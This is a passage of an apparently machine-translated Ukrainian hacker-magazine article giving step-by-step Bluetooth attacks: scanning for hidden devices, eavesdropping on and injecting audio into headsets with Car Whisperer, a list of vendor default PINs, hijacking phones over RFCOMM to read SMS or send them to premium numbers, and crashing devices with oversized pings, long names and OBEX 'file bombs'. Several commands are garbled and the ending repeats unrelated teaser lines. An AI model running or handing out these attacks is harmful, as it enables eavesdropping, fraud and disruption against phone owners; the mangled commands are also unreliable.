Трюк 4: Працюємо з BT-адаптером безпосередньо

Довгий час Bluetooth стеки для Windows надавали настільки мізерні можливості, що програмісти просто обходили цю платформу стороною. Цим пояснюється, що більшість програм для серйозних забав c «синім зубом» розробляються під ніксовую платформу. Деякі з хитрих прийомів ми розберемо саме на це платформі, а саме FreeBSD (нагадаю, що на диску минулого номера ми викладали свіжий 7.0 реліз цієї ОС). Сама технологія Bluetooth офіційно стала підтримуватися на ній тільки з 5-ої гілки на базі підсистеми Netgraph. Радує, що більшість USB-адаптерів сумісні з драйвером ng_ubt (його необхідно завести перед підключенням пристрою). Спробуємо?

  1. Підключаємо пристрій: kldload ng_ubt
  2. Копіюємо сценарій подгрузки стека в зручне місце: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
  3. Копіюємо сценарій подгрузки стека в зручне місце і запускаємо: sh /usr/local/etc/rc.bluetoots start ubt0

Тепер хочу познайомити тебе з утилітою hccontrol. Це одна з основних програм для роботи з BT-модулем. Саме вона виконує всі операції, пов'язані з інтерфейсом HCI, і має наступний синтаксис: hccontrol -n <імя_hci_узла> <команда>. Перевіримо функціональність нашого пристрою, просканує ефір на наявність пристроїв:

hccontrol -n ubt0hci Inquiry

Як результат, утиліта виведе інформацію про знайдені пристроях, в тому числі їх MAC-адреси. Треба зауважити, що кожне з пристроїв Bluetooth, будь то хедсетом або звичайний телефон, представляє певний набір сервісів. Базовий перелік включає в себе: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point) . Щоб з'ясувати, які сервіси надає той чи інший пристрій, використовується запит на спеціальному протоколі SPD (Service Descovery Protocol). Сервер SPD працює безпосередньо на машині-хості і є виключно інформаційної складової (вплинути на нього
неможливо). Визначити, які сервіси надають знайдені пристрої, можна за допомогою відповідної утиліти:

# Spdcontrol -a <MAC-адресу пристрою> browse

Трюк 5: Знаходимо приховані пристрої

Отже, ефір ми просканували і навіть з'ясували, які сервіси доступні на активних пристроях. Але от заковика! Деякі девайси ніяк не видають своєї присутності, оскільки знаходяться в режимі «Undiscoverable mode» і не відповідають на широкомовні запити. По налаштуваннях свого телефону ти напевно знаєш про подібної опції безпеки. Однак виявити такі пристрої все-таки можна!

Найвідоміший прийом їх виявлення - тупий перебір MAC-адрес, тобто послідовна посилка запитів на різні адреси з певного діапазону. Для цього потрібно використовувати дуже просту утиліту Redfang , Яка перебирає останні шість байт адреси пристрою і таким чином виявляє заховані пристрою.

Інший варіант - це використовувати пасивні методики: перевести свій пристрій в режим очікування, при цьому призначити мережі яке-небудь привабливе ім'я:

hciconfig hci0 name BT_YANDEX
hciconfig hci0 down
hciconfig hci0 up
hcidump -V | grep bdaddr

В результаті відобразяться всі вхідні з'єднання, серед яких можуть запросто виявитися товариші з прихованими ідентифікаторами.

Трюк 6: перехоплювати з ефіру розмови по гарнітурі

Одна з основних загроз радіотехнологій полягає в тому, що дані можна перехопити. Перше, що спадає на думку, стосовно Bluetooth - прослухати розмови людей, що використовують гарнітуру. І найчастіше це реально! На хакерському фестивалі What the Hack в Нідерландах фахівці з групи Trifinite продемонстрували, як за допомогою ноутбука з Linux, спеціальної програми і спрямованої антени можна підслухати, про що говорить через Bluetooth-гарнітуру водій проїжджаючого автомобіля. Група розробила програму Car Whisperer ( «Автомобільний шептун»). Можливості програми відносно невеликі: прослухати можна тільки тих, хто забув змінити заводські паролі доступу до Bluetooth на зразок
«0000» або «1234». Але таких бідолах, повір, дуже і дуже багато! «Шептун» здатний вклинитися і успішно пройти «pairing» пристроїв, отримавши інформацію, передану з каркіта або хедсетом на мобілку. Хочу звернути увагу: утиліта дозволяє не тільки отримати інформацію, що передається між хедсетом і мобилой, але і Інжект туди свою. Ми вирішили перевірити можливості цієї програми, скачавши Car Whisperer з сайту розробників.

Перед початком операції рекомендується змінити клас свого пристрою, особливо якщо програма буде використовуватися з комп'ютера:

hciconfig адаптер class 0x500204
# 0x500204 - це клас «phone»

В іншому випадку деякі «розумні» девайси можуть запідозрити недобре. Дивимося синтаксис утиліти, який виглядає наступним чином:

./carwhisperer «що впроваджуємо в лінію» «що захоплюємо з лінії» «адресапристрою» [канал]

Ми взяли впроваджуваний файл прямо з папки утиліти, а в якості вихідного вказали out.raw:

./carwhisperer 0 message.raw /tmp/out.raw
00: 15: 0E: 91: 19: 73

На виході отримуємо файл out.raw. Прослухати його в чистому вигляді не можна: потрібно перетворити в аудіо формат, для чого потрібна додаткова утиліта. Підійдуть досить багато аудіо конвертери, наприклад SoX :

raw -r 8000 -c 1 -s -w out.raw -t wav -r
44100 -c 2 out.wav

Крім прослуховування, можна увійти в систему, переглянути телефонну книгу і скористатися іншими можливостями «вільних рук» з Bluetooth. Принцип такий: спочатку здійснюється пошук активних пристроїв і перевірка на предмет сервісу HS (Head Set). Далі досліджується MAC-адресу пристрою і проводиться спроба підключення з використанням стандартного ключа. Якщо коннект встановлений, то з пристроєм можна робити все, що завгодно (в межах доступного набору AT-команд).

На практиці це виглядає наступним чином. Спочатку здійснюється пошук всіх активних гарнітур за допомогою команди «sdptool search HS», яка видає приблизно таку відповідь:

Inquiring ...
Searching for HS on 00: 0A: 3A: 54: 71: 95 ...
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
"Headset" (0x1108)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 7
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Далі здійснюється спроба відкрити RFCOMM з'єднання на SCO audio channel за допомогою команди «rfcomm connect 2 00: 0A: 3A: 54: 71: 95 1» і посилка потрібних AT-команд. Наведу невелику статистичну замітку про дані авторизації на деякі моделі бездротових гарнітур:

Nokia (00: 02: EE ...) - pin = "5475"
Audi UHV (00: 0E: 9F ...) - pin = "1234"
O'Neill (00:80:37 ...) - pin = "8761"
Cellink (00: 0A: 94 ...) - pin = "1234"
Eazix (00: 0C: 84 ...) - pin = "1234"

До речі кажучи, той же принцип може використовуватися для несанкціонованого підключення і до всіх інших пристроїв. За допомогою AT-команд і протоколу RFCOMM можна, наприклад, прочитати SMS-повідомлення або навіть відправити його з чужого телефону на платний номер, поставивши власника девайса на гроші. Будь пильний!

Трюк 7: DDoS BT-пристроїв

Підхід традиційний. DDoS реально провести, коли хостової девайс ( «master») виконує роботу, у багато разів перевищує клієнтську. Таку ситуацію називають атакою на відмову в обслуговуванні (Denial Of Service). Вона може підвісити телефон або призвести до швидкої розрядки батареї. Провести атаку можна декількома способами. Почнемо зі стандартних засобів. Найочевидніше - пінгувати девайс пакетами великого розміру. Зробити це можна, вказавши утиліті l2ping як параметр «-s» прапор:

# L2ping -s 10000 -b "МАС адресу"

Сама програма, як ти вже зрозумів, є родичем ping в bluetooth середовищі і служить для перевірки зв'язку та наявності з'єднання. Інший спосіб, що принципово відрізняється від першого, полягає в використанні прийому «fuzzing» - своєрідної техніки-лотереї, тому як заздалегідь невідомо, що станеться. Це нове віяння в виявленні вразливостей в продуктах без аналізу вихідних кодів. Потрібно Було техніка тільки на інтерактивне спілкування з об'єктом зрозумілою для нього мовою, але з абсолютно хаотичними аргументами і значеннями-змінними. Хакерської завданням буде зробити так, щоб видиме назву телефону складалося з досить великої кількості елементів. При виявленні його «master'ом» в 70%
випадків відбувається переповнення або відмову в обслуговуванні:

hciconfig hci0 name `perl -e 'print" ash "x 3137'`
# Команда для Лінукса
hccontrol -n адаптер change_local_name "нове ім'я")
# Приклад для FreeBSD

Багато телефонів як і раніше не можуть перетравити файли-бомби. Ось проста реалізація подібного прийому.

  1. Спочатку готують «бомбу». Відомий приклад:
    echo `perl -e 'print" skvz "x 3137'`> file
  2. Після чого використовують модифіковану утиліту для взаємодії з OBEX - USSP PUSH (xmailserver.org/ussp-push.html)
    ./obextool push file 00: 0A: 3A: 54: 71: 95 `perl -e 'print" skvz "x 3137'` 3


Повну версію статті
читай в квітневому номері Хакера!
На нашому диску ти знайдеш повні версії програм, описаних в статті, а також повну добірку документації Bluetooth і вразливостей в цій технології.

Так чому б не спробувати себе в ролі фокусника?
А що?
Загалом, лочіть комп'ютер потрібно обов'язково, питання в тому - як?
Чи не виникало у тебе коли-небудь бажання подивитися всередину протоколу і дізнатися, як відбувається обмін даними через «синій зуб»?
Спробуємо?
Так чому б не спробувати себе в ролі фокусника?
А що?
Загалом, лочіть комп'ютер потрібно обов'язково, питання в тому - як?
Чи не виникало у тебе коли-небудь бажання подивитися всередину протоколу і дізнатися, як відбувається обмін даними через «синій зуб»?
Спробуємо?

Новости